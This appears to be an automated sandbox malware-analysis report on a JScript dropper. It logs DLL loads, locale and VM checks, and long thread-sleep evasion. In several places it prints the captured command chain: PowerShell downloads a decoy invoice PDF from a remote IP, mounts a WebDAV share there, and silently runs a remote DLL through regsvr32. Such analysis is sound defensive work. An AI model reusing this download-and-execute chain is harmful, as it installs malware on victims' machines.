Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\177.js.csv");ITextStream.WriteLine(" entry:7730 f:tgtzfmctg");ITextStream.WriteLine(" exec:2 f:tgtzfmctg");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5214			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4659			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7640	Thread sleep count: 5214 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7640	Thread sleep count: 4659 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7688	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7712	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7884	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8136	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000003.1425164510.0000021B2705C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000000.00000003.1425164510.0000021B2705C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: net.exe, 00000007.00000002.1510243594.0000020157EF8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1510577623.0000020157F62000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2710206948.000001E7AF213000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2712241321.000001E7B4A59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2710258355.000001E7AF22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll
